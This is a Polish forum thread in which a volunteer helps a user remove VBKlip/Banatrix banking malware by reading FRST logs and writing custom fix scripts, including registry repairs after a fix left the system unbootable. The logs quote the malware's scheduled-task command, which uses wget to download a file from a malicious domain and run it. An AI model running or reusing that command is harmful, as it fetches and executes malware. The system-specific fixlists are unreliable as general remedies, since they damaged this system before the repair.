erkam Opublikowano 4 Grudnia 2014 Zgłoś Opublikowano 4 Grudnia 2014 Witam, VBKlip 2.0 / Banatrix Załapałem tego wirusa (złośliwe oprogramowanie?) najprawdopodobniej przy aktualizacji javy albo adobe playera, podszył się pod któryś z nich... Efekt jest taki, że podmienia mi rachunek bankowy przy próbie przelewu. Na szczęście zauważyłem przed autoryzacją, tak więc pieniędzy nie straciłem. Ale chcę się pozbyć drania :-) Pozdrawiam Addition.txt FRST.txt Shortcut.txt
picasso Opublikowano 4 Grudnia 2014 Zgłoś Opublikowano 4 Grudnia 2014 Czy na pewno były czytane tutejsze zasady działu? Kiedy został pobrany FRST? Posługujesz się wersją z 1 grudnia, najnowszy FRST jest z wczoraj. Ponadto, brak całego zestawu logów i nie ma obowiązowego GMER. Wspominana infekcja jest w systemie, ładuje się przez Harmonogram zadań: Task: {A355DEFE-A9E5-4BE9-A7D9-887D010D5987} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=NXCzqopbrzlpHNPSWurp;tc;1416071063 & start cmd /R dat.bmp ==================== One Month Modified Files and Folders ======= 2014-12-04 10:58 - 2014-10-26 11:19 - 00000000 _____ () C:\ProgramData\dat.bmp 2014-11-15 18:03 - 2014-10-26 11:07 - 00332800 _____ () C:\ProgramData\wget.exe Wdróż następujące działania: 1. Zaktualizuj FRST do najnowszej wersji: KLIK. Otwórz Notatnik i wklej w nim: CloseProcesses: Task: {A355DEFE-A9E5-4BE9-A7D9-887D010D5987} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=NXCzqopbrzlpHNPSWurp;tc;1416071063 & start cmd /R dat.bmp S4 nvvad_WaveExtensible; system32\drivers\nvvad32v.sys [X] S3 TuneUpUtilitiesDrv; \??\C:\Program Files\TuneUp Utilities 2014\TuneUpUtilitiesDriver32.sys [X] S2 TuneUp.UtilitiesSvc; "C:\Program Files\TuneUp Utilities 2014\TuneUpUtilitiesService32.exe" [X] HKLM\...\Run: [] => [X] HKU\S-1-5-21-3833150328-1824991979-3301933300-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.gazeta.pl/0,0.html?p=170 C:\ProgramData\dat.bmp C:\ProgramData\wget.exe C:\ProgramData\McAfee C:\ProgramData\TuneUp Software C:\Users\AiR\AppData\Roaming\TuneUp Software C:\Windows\system32\authuitu.dll C:\Windows\system32\TURegOpt.exe C:\Windows\system32\uxtuneup.dll CMD: dir /a C:\ProgramData EmptyTemp: Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach. Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, system zostanie zresetowany. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt. 2. Oprogramowanie TuneUp nie zostało całkowicie odinstalowane. Uruchom narzędzie Microsoftu: KLIK. Zaakceptuj > Wykryj problemy i pozwól mi wybrać poprawki do zastosowania > Odinstalowywanie > zaznacz na liście po kolei dwa ukryte wpisy TuneUp Utilities 2014 > Dalej. 3. Zrób nowy log FRST z opcji Scan, zaznacz ponownie pole Addition, by powstały dwa logi. Dołącz też plik fixlog.txt. Ponadto, w Firefox jest niejasny dodatek o nieznajdowanym na Google identyfikatorze, czy kojarzysz instalację (podaj link skąd): FF Extension: Firefox Google Search - C:\Users\AiR\AppData\Roaming\Mozilla\Firefox\Profiles\jb286bnm.default\Extensions\jid1-ruV7VAC61k9bqA@jetpack.xpi [2014-11-12]
erkam Opublikowano 4 Grudnia 2014 Autor Zgłoś Opublikowano 4 Grudnia 2014 Coś poszło nie tak... Ściągnąłem nowego FRST, skopiowałem i zapisałem fixlist w txt, uruchomiłem, poczekałem do końca i zresetowałem. No i system już nie wstał, niby się uruchamia i potem czarny ekran (w trybie awaryjnym też). Po włożeniu płytki instalacyjnej windowsa chce od razu instalować nowy system (nie pyta czy naprawić). Załączam Fixlog, może coś z niego wyczytasz... Na razie przygotowuję się do ponownej instalacji windowsa... Fixlog.txt
picasso Opublikowano 4 Grudnia 2014 Zgłoś Opublikowano 4 Grudnia 2014 Cytat No i system już nie wstał, niby się uruchamia i potem czarny ekran (w trybie awaryjnym też). Po włożeniu płytki instalacyjnej windowsa chce od razu instalować nowy system (nie pyta czy naprawić). Nie wiem o co chodzi, Fix nie przedstawia żadnych innych operacji niż zadane. Czy działa Ostatnia poprawna konfiguracja? Czy da się zrobić log FRST z poziomu środowiska zewnętrznego: KLIK?
picasso Opublikowano 4 Grudnia 2014 Zgłoś Opublikowano 4 Grudnia 2014 Po przyjrzeniu się bliżej, sądzę że błąd spowodowało usunięcie pliku authuitu.dll pozostawionego po TuneUp, czyli deinstalacja TuneUp była jeszcze mniej kompletna niż sugerował to log. Ten plik jest ładowany jako część procesów Winlogon. Oczekuję na log FRST z poziomu środowiska zewnętrznego i będziemy działać dalej.
erkam Opublikowano 4 Grudnia 2014 Autor Zgłoś Opublikowano 4 Grudnia 2014 Mam log po zmianach: FRST.txt
picasso Opublikowano 5 Grudnia 2014 Zgłoś Opublikowano 5 Grudnia 2014 Skan FRST nic nie widzi, ale wiem już gdzie jest usterka i jak to naprawić - naprawa jest wbrew pozorom prosta i nie rób przypadkiem reinstalacji. Plik authuitu.dll modyfikuje klasę Authentication UI Logon UI zamieniając odnośnik do systemowej biblioteki na własny. W związku z tym poproszę o dodatkowe skany przed próbą korekty wpisów rejestru. Otwórz Notatnik i wklej w nim: Reg: reg query HKLM\SOFTWARE\Classes\CLSID\{00711705-12C5-420B-A4E5-6413F2AB3C7B} /s Reg: reg query HKLM\SOFTWARE\Classes\CLSID\{7986d495-ce42-4926-8afc-26dfa299cadb} /s Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Dostarcz wynikowy fixlog.txt.
picasso Opublikowano 5 Grudnia 2014 Zgłoś Opublikowano 5 Grudnia 2014 Tak, dokładnie jest tu ta modyfikacja. Przechodzimy do korekty: 1. Otwórz Notatnik i wklej w nim: S4 nvvad_WaveExtensible; system32\drivers\nvvad32v.sys [X] S3 TuneUpUtilitiesDrv; \??\C:\Program Files\TuneUp Utilities 2014\TuneUpUtilitiesDriver32.sys [X] S2 TuneUp.UtilitiesSvc; "C:\Program Files\TuneUp Utilities 2014\TuneUpUtilitiesService32.exe" [X] S2 UxTuneUp; %SystemRoot%\System32\uxtuneup.dll [X] Reg: reg delete HKLM\SOFTWARE\Classes\CLSID\{00711705-12C5-420B-A4E5-6413F2AB3C7B} /f Reg: reg delete HKLM\SOFTWARE\Classes\CLSID\{7986d495-ce42-4926-8afc-26dfa299cadb}\InprocServer32 /v {00711705-12C5-420B-A4E5-6413F2AB3C7B} /f Reg: reg add HKLM\SOFTWARE\Classes\CLSID\{7986d495-ce42-4926-8afc-26dfa299cadb}\InprocServer32 /ve /t REG_EXPAND_SZ /d ^%SystemRoot^%\system32\authui.dll /f Reg: reg query HKLM\SOFTWARE\Classes\CLSID\{7986d495-ce42-4926-8afc-26dfa299cadb} /s Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Powstanie kolejny fixlog.txt - przedstaw go. 2. Czarny ekran powinien zniknąć. Zaloguj się do Windows i wykonaj zaległe punkty: picasso napisał: 2. Oprogramowanie TuneUp nie zostało całkowicie odinstalowane. Uruchom narzędzie Microsoftu: KLIK. Zaakceptuj > Wykryj problemy i pozwól mi wybrać poprawki do zastosowania > Odinstalowywanie > zaznacz na liście po kolei dwa ukryte wpisy TuneUp Utilities 2014 > Dalej. 3. Zrób nowy log FRST z opcji Scan, zaznacz ponownie pole Addition, by powstały dwa logi. Dołącz też plik fixlog.txt. Ponadto, w Firefox jest niejasny dodatek o nieznajdowanym na Google identyfikatorze, czy kojarzysz instalację (podaj link skąd): FF Extension: Firefox Google Search - C:\Users\AiR\AppData\Roaming\Mozilla\Firefox\Profiles\jb286bnm.default\Extensions\jid1-ruV7VAC61k9bqA@jetpack.xpi [2014-11-12]
erkam Opublikowano 5 Grudnia 2014 Autor Zgłoś Opublikowano 5 Grudnia 2014 OK, działa. Punkt 2 zrobiony. Punkt 3 załaczam pliki, ale nie kojarzę tego dodatku do FF... dodane FRST.txt Addition.txt Fixlog.txt
picasso Opublikowano 5 Grudnia 2014 Zgłoś Opublikowano 5 Grudnia 2014 OK. Wszystkie poprzednie operacje wykonane, infekcja pomyślnie usunięta. Skoro nie rozpoznajesz tego dodatku "Firefox Google Search", to musi być coś szkodliwego. Kolejna porcja czynności: 1. Wyczyść Firefox: menu Pomoc > Informacje dla pomocy technicznej > Zresetuj program Firefox. Zakładki i hasła nie zostaną naruszone, ale używane dodatki Adblock Plus i Eliminator Slajdów trzeba będzie przeinstalować. 2. Otwórz Notatnik i wklej w nim: RemoveDirectory: C:\MATS DeleteQuarantine: Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Powstanie kolejny fixlog.txt. 3. Zrób nowy log FRST z opcji Scan (bez Addition i Shortcut). Dołącz też plik fixlog.txt
erkam Opublikowano 5 Grudnia 2014 Autor Zgłoś Opublikowano 5 Grudnia 2014 Zrobione, nowe logi: FRST.txt Fixlog.txt
picasso Opublikowano 5 Grudnia 2014 Zgłoś Opublikowano 5 Grudnia 2014 Wszystko zrobione. Kończymy: 1. Napraw błąd WMI numer 10 zgłaszany w Dzienniku zdarzeń narzędziem Fix it: KLIK. 2. Przez SHIFT+DEL (omija Kosz) skasuj z Pulpitu folder Stare dane programu Firefox. Zastosuj DelFix oraz wyczyść foldery Przywracania systemu: KLIK. 3. Na wszelki wypadek zmieniłabym login do banku.
erkam Opublikowano 5 Grudnia 2014 Autor Zgłoś Opublikowano 5 Grudnia 2014 Wszystko zrobione, pięknie dziękuję! Na koniec pytanie - czy możesz polecić jakiś program zabezpiecząjący przed takimi złośliwościami? Pozdrawiam
picasso Opublikowano 5 Grudnia 2014 Zgłoś Opublikowano 5 Grudnia 2014 Było tu malware wykonujące intercepcję schowka i/lub innych funkcji, toteż zabezpieczenie tego terenu przy udziale aplikacji specjalizowanych w keyloggerach np. KeyScrambler (dostępna wersja darmowa Personal), SpyShelter (dostępna wersja darmowa Free), Zemana Antilogger (dostępna wersja darmowa Free).
Rekomendowane odpowiedzi